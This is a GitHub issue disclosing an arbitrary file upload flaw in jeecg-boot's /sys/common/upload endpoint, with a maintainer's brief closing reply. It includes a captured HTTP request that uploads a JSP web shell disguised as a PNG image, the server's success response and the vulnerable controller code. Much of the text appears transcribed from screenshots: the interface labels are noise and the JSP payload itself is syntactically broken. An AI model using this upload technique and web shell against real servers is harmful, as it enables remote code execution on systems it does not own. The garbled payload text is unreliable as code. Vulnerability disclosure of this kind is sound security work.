

New issue

[Jump to bottom](#)

There is an arbitrary file upload vulnerability #1888

Closed jinnywc opened this issue on Oct 24, 2020 · 1 comment

jinnywc commented on Oct 24, 2020

版本号:
2.3

问题描述:
After testing, it is found that there is an arbitrary file upload vulnerability in the image upload function of "custom component" of jeecg boot, and the interface is /jeecg-boot/sys/common/upload

截图&代码:

Reuse <https://github.com/zhangdaicott/jecg-boot> After the source code of the project is started, click "custom component" and grab the package to get the interface with arbitrary file upload vulnerability

192.168.0.26:3000/jecg/SelectDemo


下拉树多选: 请选择菜单


分类字典树: 请选择

cron表达式: *****?*

高级查询: 高级查询

高级查询 (自定义按钮): 高级查询

图片上传:  选中的值(v-model): temp/demo_1603532719171.png

文件上传: 点击上传  选中的值(v-model): temp/demo_1603532719150.png

特殊查询组件: 查询类 模糊 (lik... 输入的值(v-model):

MarkdownEditor: H B I / - 44 注 3 区 +E +E 田 田 00 </> CB ... 输入的值(v-model):

Modify the upload suffix name and upload content through packet capture

Go Cancel < >

Request

Raw Params Headers Hex

boundary=-----342342334538747309242588373310

Content-Length: 505

Origin: http://192.168.0.26:3000

Connection: close

Referer: http://192.168.0.26:3000/jecg/SelectDemo

-----342342334538747309242588373310

Content-Disposition: form-data; name="biz"

temp

-----342342334538747309242588373310

Content-Disposition: form-data; name="file"; filename="demo.jsp"

Content-Type: image/png

<%

if(request.getParameter("f")==null){new

java.io.FileOutputStream(application.getRealPath()+request.getParameter("f"))

}.write(request.getParameter("t").getBytes());

%>

-----342342334538747309242588373310--

Response

Raw Headers Hex JSON Decoder Unexpected information

HTTP/1.1 200

Access-control-Allow-Origin: http://192.168.0.26:3000

Access-Control-Allow-Methods: GET,POST,OPTIONS,PUT,DELETE

Set-Cookie: rememberMe=deleteMe; Path=/jecg-boot; Max-Age=0; Expires=Fri, 23-Oct-2020 09:59:53 GMT

vary: accept-encoding

Content-Type: application/json; charset=UTF-8

Date: Sat, 24 Oct 2020 09:59:53 GMT

Connection: close

Content-Length: 105


{"success":true,"message":"temp/demo_1603533593568.jsp","code":0,"result":null,"timestamp":1603533593568}

0 matches

The vulnerability code exists in the following code: \\jecg-boot\\jecg-boot-base-common\\src\\main\\java\\org\\jecg\\common\\system\\controller\\CommonController.java At line 76 of

```
SysDictController.java x CommonController.java x
69 * @param request
70 * @param response
71 * @return
72 */
73 @PostMapping(value = "/upload")
74 public Result<?> upload(HttpServletRequest request, HttpServletResponse response) {
75     Result<?> result = new Result<>();
76     String savePath = "";
77     String bizPath = request.getParameter( s: "biz");
78     MultipartHttpServletRequest multipartRequest = (MultipartHttpServletRequest) request;
79     MultipartFile file = multipartRequest.getFile( s: "file");// 获取上传文件对象
80     if(oConvertUtils.isEmpty(bizPath)){
81         if(CommonConstant.UPLOAD_TYPE_OSS.equals(uploadType)){
82             //未指定目录, 则用阿里云默认目录 upload
83             bizPath = "upload";
84             //result.setMessage("使用阿里云文件上传时, 必须添加目录!");
85             //result.setSuccess(false);
86             //return result;
87         }else{
88             bizPath = "";
89         }
90     }
```

友情提示：未按格式要求发帖，会直接删掉。

 **zhangdaiscott** closed this as completed on Oct 29, 2020

accpman commented on Oct 29, 2020

具體的功能驗證細節可以自行修改，這個上傳也僅僅是個實例

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

3 participants

